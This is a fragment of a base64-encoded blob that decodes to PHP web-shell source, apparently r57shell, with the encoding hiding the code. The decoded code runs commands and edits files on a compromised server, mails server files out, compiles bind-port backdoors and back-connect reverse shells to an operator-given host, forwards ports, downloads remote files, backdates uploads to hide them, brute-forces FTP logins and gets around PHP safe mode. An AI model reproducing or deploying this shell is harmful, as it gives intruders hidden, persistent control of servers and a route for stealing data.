1leCgnc3lzY3RsIC1uIGtlcm5lbC5vc3R5cGUnKTskbGluMj1leCgnc3lzY3RsIC1uIGtlcm5lbC5vc3JlbGVhc2UnKTt9aWYoIWVtcHR5KCRic2QxKSAmJiAhZW1wdHkoJGJzZDIpKXskc3lzY3RsPSIkYnNkMSAkYnNkMiI7fWVsc2UgaWYoIWVtcHR5KCRsaW4xKSAmJiAhZW1wdHkoJGxpbjIpKXskc3lzY3RsPSIkbGluMSAkbGluMiI7fWVsc2UgeyRzeXNjdGw9Ii0iO31lY2hvIHdzKDMgKS4kc3lzY3RsLiI8YnI+IjtlY2hvIHdzKDMgKS5leCgnZWNobyAkT1NUWVBFJykuIjxicj4iO2VjaG8gd3MoMyApLkBzdWJzdHIoJFNFUlZFUl9TT0ZUV0FSRSwwICwxMjAgKS4iPGJyPiI7JGlkPWV4KCdpZCcpO2VjaG8gKCghZW1wdHkoJGlkKSk/KHdzKDMgKS4kaWQuIjxicj4iKTood3MoMyApLiJ1c2VyPSIuQGdldF9jdXJyZW50X3VzZXIoKS4iIHVpZD0iLkBnZXRteXVpZCgpLiIgZ2lkPSIuQGdldG15Z2lkKCkuIjxicj4iKSk7ZWNobyB3cygzICkuJGRpcjtlY2hvIHdzKDMgKS4nKCAnLnBlcm1zKEBmaWxlcGVybXMoJGRpcikpLicgKSc7ZWNobyAiPC9iPjwvZm9udD4iO31lbHNlIHtlY2hvICc8Zm9udCBjb2xvcj1ibHVlPjxiPk9TIDonLndzKDEgKS4nPGJyPlNlcnZlciA6Jy53cygxICkuJzxicj5Vc2VyIDonLndzKDEgKS4nPGJyPnB3ZCA6Jy53cygxICkuJzwvYj48L2ZvbnQ+PGJyPic7ZWNobyAiPC90ZD48dGQ+IjtlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1yZWQ+PGI+IjtlY2hvIHdzKDMgKS5Ac3Vic3RyKEBwaHBfdW5hbWUoKSwwICwxMjAgKS4iPGJyPiI7ZWNobyB3cygzICkuQHN1YnN0cigkU0VSVkVSX1NPRlRXQVJFLDAgLDEyMCApLiI8YnI+IjtlY2hvIHdzKDMgKS5AZ2V0X2N1cnJlbnRfdXNlcigpLiI8YnI+IjtlY2hvIHdzKDMgKS4kZGlyO2VjaG8gIjxicj48L2ZvbnQ+Ijt9ZWNobyAiPC9mb250PiI7ZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjtpZihpc3NldCgkX1BPU1RbJ2NtZCddKSAmJiAhZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09Im1haWwiKXskcmVzPW1haWwoJF9QT1NUWyd0byddLCRfUE9TVFsnc3ViaiddLCRfUE9TVFsndGV4dCddLCJGcm9tOiAiLiRQT1NUWydmcm9tJ10uIlxyXG4iKTttcigkbGFuZ3VhZ2UsJHJlcyk7JF9QT1NUWydjbWQnXT0iIjt9aWYoaXNzZXQoJF9QT1NUWydjbWQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtYWlsX2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2xvY19maWxlJ10pKXtpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnbG9jX2ZpbGUnXSwiciIpKXtlY2hvIHJlKCRfUE9TVFsnbG9jX2ZpbGUnXSk7JF9QT1NUWydjbWQnXT0iIjt9ZWxzZSB7JGZpbGVuYW1lPUBiYXNlbmFtZSgkX1BPU1RbJ2xvY19maWxlJ10pOyRmaWxlZHVtcD1AZnJlYWQoJGZpbGUsQGZpbGVzaXplKCRfUE9TVFsnbG9jX2ZpbGUnXSkpO2ZjbG9zZSgkZmlsZSk7JGNvbnRlbnRfZW5jb2Rpbmc9JG1pbWVfdHlwZT0nJztjb21wcmVzcygkZmlsZW5hbWUsJGZpbGVkdW1wLCRfUE9TVFsnY29tcHJlc3MnXSk7JGF0dGFjaD1hcnJheSgibmFtZSI9PiRmaWxlbmFtZSwidHlwZSI9PiRtaW1lX3R5cGUsImNvbnRlbnQiPT4kZmlsZWR1bXApO2lmKGVtcHR5KCRfUE9TVFsnc3ViaiddKSl7JF9QT1NUWydzdWJqJ109J2ZpbGUgZnJvbSByNTdzaGVsbCc7fWlmKGVtcHR5KCRfUE9TVFsnZnJvbSddKSl7JF9QT1NUWydmcm9tJ109J2JpbGx5QG1pY3Jvc29mdC5jb20nO30kcmVzPW1haWxhdHRhY2goJF9QT1NUWyd0byddLCRfUE9TVFsnZnJvbSddLCRfUE9TVFsnc3ViaiddLCRhdHRhY2gpO21yKCRsYW5ndWFnZSwkcmVzKTskX1BPU1RbJ2NtZCddPSIiO319aWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJmaW5kX3RleHQiKXskX1BPU1RbJ2NtZCddPSdmaW5kICcuJF9QT1NUWydzX2RpciddLicgLW5hbWUgXCcnLiRfUE9TVFsnc19tYXNrJ10uJ1wnIHwgeGFyZ3MgZ3JlcCAtRSBcJycuJF9QT1NUWydzX3RleHQnXS4nXCcnO31pZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImNoXyIpe3N3aXRjaCgkX1BPU1RbJ3doYXQnXSl7Y2FzZSAnb3duJzpAY2hvd24oJF9QT1NUWydwYXJhbTEnXSwkX1BPU1RbJ3BhcmFtMiddKTticmVhaztjYXNlICdncnAnOkBjaGdycCgkX1BPU1RbJ3BhcmFtMSddLCRfUE9TVFsncGFyYW0yJ10pO2JyZWFrO2Nhc2UgJ21vZCc6QGNobW9kKCRfUE9TVFsncGFyYW0xJ10saW50dmFsKCRfUE9TVFsncGFyYW0yJ10sOCApKTticmVhazt9JF9QT1NUWydjbWQnXT0iIjt9aWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtayIpe3N3aXRjaCgkX1BPU1RbJ3doYXQnXSl7Y2FzZSAnZmlsZSc6aWYoJF9QT1NUWydhY3Rpb24nXT09ImNyZWF0ZSIpe2lmKGZpbGVfZXhpc3RzKCRfUE9TVFsnbWtfbmFtZSddKSB8fCAhJGZpbGU9QGZvcGVuKCRfUE9TVFsnbWtfbmFtZSddLCJ3Iikpe2VjaG8gY2UoJF9QT1NUWydta19uYW1lJ10pOyRfUE9TVFsnY21kJ109IiI7fWVsc2Uge2ZjbG9zZSgkZmlsZSk7JF9QT1NUWydlX25hbWUnXT0kX1BPU1RbJ21rX25hbWUnXTskX1BPU1RbJ2NtZCddPSJlZGl0X2ZpbGUiO2VjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDAwMDA+PHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjEnXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iO319ZWxzZSBpZigkX1BPU1RbJ2FjdGlvbiddPT0iZGVsZXRlIil7aWYodW5saW5rKCRfUE9TVFsnbWtfbmFtZSddKSllY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYzJ10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjskX1BPU1RbJ2NtZCddPSIiO31icmVhaztjYXNlICdkaXInOmlmKCRfUE9TVFsnYWN0aW9uJ109PSJjcmVhdGUiKXtpZihta2RpcigkX1BPU1RbJ21rX25hbWUnXSkpeyRfUE9TVFsnY21kJ109IiI7ZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MiddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7fWVsc2Uge2VjaG8gY2UoJF9QT1NUWydta19uYW1lJ10pOyRfUE9TVFsnY21kJ109IiI7fX1lbHNlIGlmKCRfUE9TVFsnYWN0aW9uJ109PSJkZWxldGUiKXtpZihybWRpcigkX1BPU1RbJ21rX25hbWUnXSkpZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NCddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7JF9QT1NUWydjbWQnXT0iIjt9YnJlYWs7fX1pZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImVkaXRfZmlsZSIgJiYgIWVtcHR5KCRfUE9TVFsnZV9uYW1lJ10pKXtpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnZV9uYW1lJ10sInIrIikpeyRvbmx5X3JlYWQ9MSA7QGZjbG9zZSgkZmlsZSk7fWlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydlX25hbWUnXSwiciIpKXtlY2hvIHJlKCRfUE9TVFsnZV9uYW1lJ10pOyRfUE9TVFsnY21kJ109IiI7fWVsc2Uge2VjaG8gJHRhYmxlX3VwMztlY2hvICRmb250O2VjaG8gIjxmb3JtIG5hbWU9c2F2ZV9maWxlIG1ldGhvZD1wb3N0PiI7ZWNobyB3cygzICkuIjxiPiIuJF9QT1NUWydlX25hbWUnXS4iPC9iPiI7ZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PHRleHRhcmVhIG5hbWU9ZV90ZXh0IGNvbHM9MTIxIHJvd3M9MjQ+IjtlY2hvIEBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydlX25hbWUnXSkpKTtmY2xvc2UoJGZpbGUpO2VjaG8gIjwvdGV4dGFyZWE+IjtlY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1lX25hbWUgdmFsdWU9Ii4kX1BPU1RbJ2VfbmFtZSddLiI+IjtlY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kaXIgdmFsdWU9Ii4kZGlyLiI+IjtlY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jbWQgdmFsdWU9c2F2ZV9maWxlPiI7ZWNobyAoIWVtcHR5KCRvbmx5X3JlYWQpPygiPGJyPjxicj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NCddKTooIjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiICIuJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEwJ10uIiBcIj4iKSk7ZWNobyAiPC9kaXY+IjtlY2hvICI8L2ZvbnQ+IjtlY2hvICI8L2Zvcm0+IjtlY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iO2V4aXQoKTt9fWlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0ic2F2ZV9maWxlIil7aWYoISRmaWxlPUBmb3BlbigkX1BPU1RbJ2VfbmFtZSddLCJ3Iikpe2VjaG8gd2UoJF9QT1NUWydlX25hbWUnXSk7fWVsc2Uge0Bmd3JpdGUoJGZpbGUsJF9QT1NUWydlX3RleHQnXSk7QGZjbG9zZSgkZmlsZSk7JF9QT1NUWydjbWQnXT0iIjtlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ1J10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+Ijt9fWlmKCFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnYmluZF9wYXNzJ10pICYmICgkX1BPU1RbJ3VzZSddPT0iQyIpKXtjZigiL3RtcC9iZC5jIiwkcG9ydF9iaW5kX2JkX2MpOyRibGFoPWV4KCJnY2MgLW8gL3RtcC9iZCAvdG1wL2JkLmMiKTtAdW5saW5rKCIvdG1wL2JkLmMiKTskYmxhaD1leCgiL3RtcC9iZCAiLiRfUE9TVFsncG9ydCddLiIgIi4kX1BPU1RbJ2JpbmRfcGFzcyddLiIgJiIpOyRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIGJkIjt9aWYoIWVtcHR5KCRfUE9TVFsncG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJQZXJsIikpe2NmKCIvdG1wL2JkcGwiLCRwb3J0X2JpbmRfYmRfcGwpOyRwMj13aGljaCgicGVybCIpO2lmKGVtcHR5KCRwMikpJHAyPSJwZXJsIjskYmxhaD1leCgkcDIuIiAvdG1wL2JkcGwgIi4kX1BPU1RbJ3BvcnQnXS4iICYiKTskX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBiZHBsIjt9aWYoIWVtcHR5KCRfUE9TVFsnaXAnXSkgJiYgIWVtcHR5KCRfUE9TVFsncG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IlBlcmwiKSl7Y2YoIi90bXAvYmFjayIsJGJhY2tfY29ubmVjdCk7JHAyPXdoaWNoKCJwZXJsIik7aWYoZW1wdHkoJHAyKSkkcDI9InBlcmwiOyRibGFoPWV4KCRwMi4iIC90bXAvYmFjayAiLiRfUE9TVFsnaXAnXS4iICIuJF9QT1NUWydwb3J0J10uIiAmIik7JF9QT1NUWydjbWQnXT0iZWNobyBcIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gIi4kX1BPU1RbJ2lwJ10uIiBwb3J0ICIuJF9QT1NUWydwb3J0J10uIiAuLi5cIiI7fWlmKCFlbXB0eSgkX1BPU1RbJ2lwJ10pICYmICFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJDIikpe2NmKCIvdG1wL2JhY2suYyIsJGJhY2tfY29ubmVjdF9jKTskYmxhaD1leCgiZ2NjIC1vIC90bXAvYmFja2MgL3RtcC9iYWNrLmMiKTtAdW5saW5rKCIvdG1wL2JhY2suYyIpOyRibGFoPWV4KCIvdG1wL2JhY2tjICIuJF9QT1NUWydpcCddLiIgIi4kX1BPU1RbJ3BvcnQnXS4iICYiKTskX1BPU1RbJ2NtZCddPSJlY2hvIFwiTm93IHNjcmlwdCB0cnkgY29ubmVjdCB0byAiLiRfUE9TVFsnaXAnXS4iIHBvcnQgIi4kX1BPU1RbJ3BvcnQnXS4iIC4uLlwiIjt9aWYoIWVtcHR5KCRfUE9TVFsnbG9jYWxfcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfaG9zdCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfcG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IlBlcmwiKSl7Y2YoIi90bXAvZHAiLCRkYXRhcGlwZV9wbCk7JHAyPXdoaWNoKCJwZXJsIik7aWYoZW1wdHkoJHAyKSkkcDI9InBlcmwiOyRibGFoPWV4KCRwMi4iIC90bXAvZHAgIi4kX1BPU1RbJ2xvY2FsX3BvcnQnXS4iICIuJF9QT1NUWydyZW1vdGVfaG9zdCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9wb3J0J10uIiAmIik7JF9QT1NUWydjbWQnXT0icHMgLWF1eCB8IGdyZXAgZHAiO31pZighZW1wdHkoJF9QT1NUWydsb2NhbF9wb3J0J10pICYmICFlbXB0eSgkX1BPU1RbJ3JlbW90ZV9ob3N0J10pICYmICFlbXB0eSgkX1BPU1RbJ3JlbW90ZV9wb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0iQyIpKXtjZigiL3RtcC9kcGMuYyIsJGRhdGFwaXBlX2MpOyRibGFoPWV4KCJnY2MgLW8gL3RtcC9kcGMgL3RtcC9kcGMuYyIpO0B1bmxpbmsoIi90bXAvZHBjLmMiKTskYmxhaD1leCgiL3RtcC9kcGMgIi4kX1BPU1RbJ2xvY2FsX3BvcnQnXS4iICIuJF9QT1NUWydyZW1vdGVfcG9ydCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9ob3N0J10uIiAmIik7JF9QT1NUWydjbWQnXT0icHMgLWF1eCB8IGdyZXAgZHBjIjt9aWYoIWVtcHR5KCRfUE9TVFsnYWxpYXMnXSkpe2ZvcmVhY2goJGFsaWFzZXMgYXMgJGFsaWFzX25hbWU9PiRhbGlhc19jbWQpe2lmKCRfUE9TVFsnYWxpYXMnXT09JGFsaWFzX25hbWUpeyRfUE9TVFsnY21kJ109JGFsaWFzX2NtZDt9fX1pZighZW1wdHkoJF9GSUxFU1sndXNlcmZpbGUnXVsnbmFtZSddKSl7aWYoaXNzZXQoJF9QT1NUWyduZjEnXSkgJiYgIWVtcHR5KCRfUE9TVFsnbmV3X25hbWUnXSkpeyRuZm49JF9QT1NUWyduZXdfbmFtZSddO31lbHNlIHskbmZuPSRfRklMRVNbJ3VzZXJmaWxlJ11bJ25hbWUnXTt9aWYoIUBjb3B5KCRfRklMRVNbJ3VzZXJmaWxlJ11bJ3RtcF9uYW1lJ10sJF9QT1NUWydkaXInXS4iLyIuJG5mbikpe3ByaW50ICgiPGZvbnQgY29sb3I9cmVkIGZhY2U9Rml4ZWRzeXM+PGRpdiBhbGlnbj1jZW50ZXI+RXJyb3IgdXBsb2FkaW5nIGZpbGUgIi4kX0ZJTEVTWyd1c2VyZmlsZSddWyduYW1lJ10uIjwvZGl2PjwvZm9udD4iKTt9ZWxzZSB7aWYoaXNfZmlsZSgnaW5kZXgucGhwJykpeyR0aW1lT3RoRmlsZT1maWxlbXRpbWUoJ2luZGV4LnBocCcpO3RvdWNoKCRfUE9TVFsnZGlyJ10uIi8iLiRuZm4sJHRpbWVPdGhGaWxlLCR0aW1lT3RoRmlsZSk7fX19aWYoIWVtcHR5KCRfUE9TVFsnd2l0aCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1fZmlsZSddKSAmJiAhZW1wdHkoJF9QT1NUWydsb2NfZmlsZSddKSl7c3dpdGNoKCRfUE9TVFsnd2l0aCddKXtjYXNlIHdnZXQ6JF9QT1NUWydjbWQnXT13aGljaCgnd2dldCcpLiIgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiAtTyAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjticmVhaztjYXNlIGZldGNoOiRfUE9TVFsnY21kJ109d2hpY2goJ2ZldGNoJykuIiAtbyAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIC1wICIuJF9QT1NUWydyZW1fZmlsZSddLiIiO2JyZWFrO2Nhc2UgbHlueDokX1BPU1RbJ2NtZCddPXdoaWNoKCdseW54JykuIiAtc291cmNlICIuJF9QT1NUWydyZW1fZmlsZSddLiIgPiAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjticmVhaztjYXNlIGxpbmtzOiRfUE9TVFsnY21kJ109d2hpY2goJ2xpbmtzJykuIiAtc291cmNlICIuJF9QT1NUWydyZW1fZmlsZSddLiIgPiAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjticmVhaztjYXNlIEdFVDokX1BPU1RbJ2NtZCddPXdoaWNoKCdHRVQnKS4iICIuJF9QT1NUWydyZW1fZmlsZSddLiIgPiAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjticmVhaztjYXNlIGN1cmw6JF9QT1NUWydjbWQnXT13aGljaCgnY3VybCcpLiIgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiAtbyAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjticmVhazt9fWlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAoJF9QT1NUWydjbWQnXT09ImZ0cF9maWxlX3VwIiB8fCAkX1BPU1RbJ2NtZCddPT0iZnRwX2ZpbGVfZG93biIpKXtsaXN0KCRmdHBfc2VydmVyLCRmdHBfcG9ydCk9c3BsaXQoIjoiLCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pO2lmKGVtcHR5KCRmdHBfcG9ydCkpeyRmdHBfcG9ydD0yMSA7fSRjb25uZWN0aW9uPUBmdHBfY29ubmVjdCgkZnRwX3NlcnZlciwkZnRwX3BvcnQsMTAgKTtpZighJGNvbm5lY3Rpb24pe2ZlKCRsYW5ndWFnZSwwICk7fWVsc2Uge2lmKCFAZnRwX2xvZ2luKCRjb25uZWN0aW9uLCRfUE9TVFsnZnRwX2xvZ2luJ10sJF9QT1NUWydmdHBfcGFzc3dvcmQnXSkpe2ZlKCRsYW5ndWFnZSwxICk7fWVsc2Uge2lmKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV9kb3duIil7aWYoY2hvcCgkX1BPU1RbJ2xvY19maWxlJ10pPT0kZGlyKXskX1BPU1RbJ2xvY19maWxlJ109JGRpci4oKCR3aW5kb3dzKT8oJ1xcJyk6KCcvJykpLmJhc2VuYW1lKCRfUE9TVFsnZnRwX2ZpbGUnXSk7fUBmdHBfZ2V0KCRjb25uZWN0aW9uLCRfUE9TVFsnbG9jX2ZpbGUnXSwkX1BPU1RbJ2Z0cF9maWxlJ10sJF9QT1NUWydtb2RlJ10pO31pZigkX1BPU1RbJ2NtZCddPT0iZnRwX2ZpbGVfdXAiKXtAZnRwX3B1dCgkY29ubmVjdGlvbiwkX1BPU1RbJ2Z0cF9maWxlJ10sJF9QT1NUWydsb2NfZmlsZSddLCRfUE9TVFsnbW9kZSddKTt9fX1AZnRwX2Nsb3NlKCRjb25uZWN0aW9uKTskX1BPU1RbJ2NtZCddPSIiO31pZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImZ0cF9icnV0ZSIpe2xpc3QoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0KT1zcGxpdCgiOiIsJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk7aWYoZW1wdHkoJGZ0cF9wb3J0KSl7JGZ0cF9wb3J0PTIxIDt9JGNvbm5lY3Rpb249QGZ0cF9jb25uZWN0KCRmdHBfc2VydmVyLCRmdHBfcG9ydCwxMCApO2lmKCEkY29ubmVjdGlvbil7ZmUoJGxhbmd1YWdlLDAgKTskX1BPU1RbJ2NtZCddPSIiO31lbHNlIGlmKCEkdXNlcnM9c2hlbGxfZ2V0X3VzZXJzKCkpe2VjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDAwMDA+PHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGZvbnQgY29sb3I9cmVkIGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk2J10uIjwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjskX1BPU1RbJ2NtZCddPSIiO31AZnRwX2Nsb3NlKCRjb25uZWN0aW9uKTt9ZWNobyAkdGFibGVfdXAzO2lmKGVtcHR5KCRfUE9TVFsnY21kJ10pICYmICEkc2FmZV9tb2RlKXskX1BPU1RbJ2NtZCddPSgkd2luZG93cyk/KCJkaXIiKTooImxzIC1saWEiKTt9ZWxzZSBpZihlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkc2FmZV9tb2RlKXskX1BPU1RbJ2NtZCddPSJzYWZlX2RpciI7fWVjaG8gJGZvbnQuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEnXS4iOiA8Yj4iLiRfUE9TVFsnY21kJ10uIjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQ+PGI+PGRpdiBhbGlnbj1jZW50ZXI+IjtpZighJHNhZmVfbW9kZSB8fCAkX1BPU1RbJ2NtZCddIT0ic2FmZV9kaXIiKXtlY2hvICI8dGV4dGFyZWEgbmFtZT1yZXBvcnQgY29scz0xMjEgcm93cz0xNT4iO31pZigkc2FmZV9tb2RlKXtzd2l0Y2goJF9QT1NUWydjbWQnXSl7Y2FzZSAnc2FmZV9kaXInOiRkPUBkaXIoJGRpcik7aWYoJGQpeyRhcnJEaXJzPWFycmF5KCk7JGFyckZpbGVzPWFycmF5KCk7JGFyckNudD0wIDt3aGlsZShmYWxzZSE9PSgkZmlsZT0kZC0+cmVhZCgpKSl7aWYoJGZpbGU9PSIuIiljb250aW51ZTtAY2xlYXJzdGF0Y2FjaGUoKTtsaXN0KCRkZXYsJGlub2RlLCRpbm9kZXAsJG5saW5rLCR1aWQsJGdpZCwkaW5vZGV2LCRzaXplLCRhdGltZSwkbXRpbWUsJGN0aW1lLCRic2l6ZSk9c3RhdCgkZmlsZSk7aWYoJHdpbmRvd3Mpe2lmKEBpc19kaXIoJGZpbGUpKXskYXJyRGlyc1skZmlsZV1bJ3R5cGUnXT0iZGlyIjskYXJyRGlyc1skZmlsZV1bJ3Blcm1pcyddPSIiOyRhcnJEaXJzWyRmaWxlXVsnZGF0ZSddPWRhdGUoImQubS5ZIEg6aSIsJG10aW1lKTskYXJyRGlyc1skZmlsZV1bJ3NpemUnXT0iICA8RElSPiI7JGFyckRpcnNbJGZpbGVdWyduYW1lJ109JGZpbGU7fWVsc2UgeyRhcnJGaWxlc1skZmlsZV1bJ3R5cGUnXT0iZmlsZSI7JGFyckZpbGVzWyRmaWxlXVsncGVybWlzJ109IiI7JGFyckZpbGVzWyRmaWxlXVsnZGF0ZSddPWRhdGUoImQubS5ZIEg6aSIsJG10aW1lKTskYXJyRmlsZXNbJGZpbGVdWydzaXplJ109c3ByaW50ZigiJTdzIiwkc2l6ZSk7JGFyckZpbGVzWyRmaWxlXVsnbmFtZSddPSRmaWxlO319ZWxzZSB7aWYoQGlzX2RpcigkZmlsZSkpeyRhcnJEaXJzWyRmaWxlXVsndHlwZSddPSJkaXIiOyRhcnJEaXJzWyRmaWxlXVsncGVybWlzJ109cGVybXMoQGZpbGVwZXJtcygkZmlsZSkpOyRhcnJEaXJzWyRmaWxlXVsnZGF0ZSddPWRhdGUoImQubS5ZIEg6aSIsJG10aW1lKTskYXJyRGlyc1skZmlsZV1bJ3NpemUnXT1zcHJpbnRmKCIlOXMgJTdzIiwkdWlkLiIvIi4kZ2lkLCRzaXplKTskYXJyRGlyc1skZmlsZV1bJ25hbWUnXT0kZmlsZTt9ZWxzZSB7JGFyckZpbGVzWyRmaWxlXVsndHlwZSddPSJmaWxlIjskYXJyRmlsZXNbJGZpbGVdWydwZXJtaXMnXT1wZXJtcyhAZmlsZXBlcm1zKCRmaWxlKSk7JGFyckZpbGVzWyRmaWxlXVsnZGF0ZSddPWRhdGUoImQubS5ZIEg6aSIsJG10aW1lKTskYXJyRmlsZXNbJGZpbGVdWydzaXplJ109c3ByaW50ZigiJTlzICU3cyIsJHVpZC4iLyIuJGdpZCwkc2l6ZSk7JGFyckZpbGVzWyRmaWxlXVsnbmFtZSddPSRmaWxlO319JGFyckNudCsrO30kZC0+Y2xvc2UoKTtrc29ydCgkYXJyRGlycyk7a3NvcnQoJGFyckZpbGVzKTskYXJyRGlyc0FuZEZpbGVzPWFycmF5X21lcmdlKCRhcnJEaXJzLCRhcnJGaWxlcyk7fWVsc2Uge2VjaG8gJGxhbmdbJGxhbmd1YWdlLl90ZXh0MjldO31icmVhaztjYXNlICdzYWZlX2ZpbGUnOmlmKEBpc19maWxlKCRfUE9TVFsnZmlsZSddKSl7JGZpbGU9QGZpbGUoJF9QT1NUWydmaWxlJ10pO2lmKCRmaWxlKXskYz1Ac2l6ZW9mKCRmaWxlKTtmb3IoJGk9MCA7JGk8JGM7JGkrKyl7ZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmaWxlWyRpXSk7fX1lbHNlIHtlY2hvICRsYW5nWyRsYW5ndWFnZS5fdGV4dDI5XTt9fWVsc2Uge2VjaG8gJGxhbmdbJGxhbmd1YWdlLl90ZXh0MzFdO31icmVhaztjYXNlICd0ZXN0MSc6JGNpPUBjdXJsX2luaXQoImZpbGU6Ly8iLiRfUE9TVFsndGVzdDFfZmlsZSddLiIiKTskY2Y9QGN1cmxfZXhlYygkY2kpO2VjaG8gJGNmO2JyZWFrO2Nhc2UgJ3Rlc3QyJzpAaW5jbHVkZSAoJF9QT1NUWyd0ZXN0Ml9maWxlJ10pO2JyZWFrO2Nhc2UgJ3Rlc3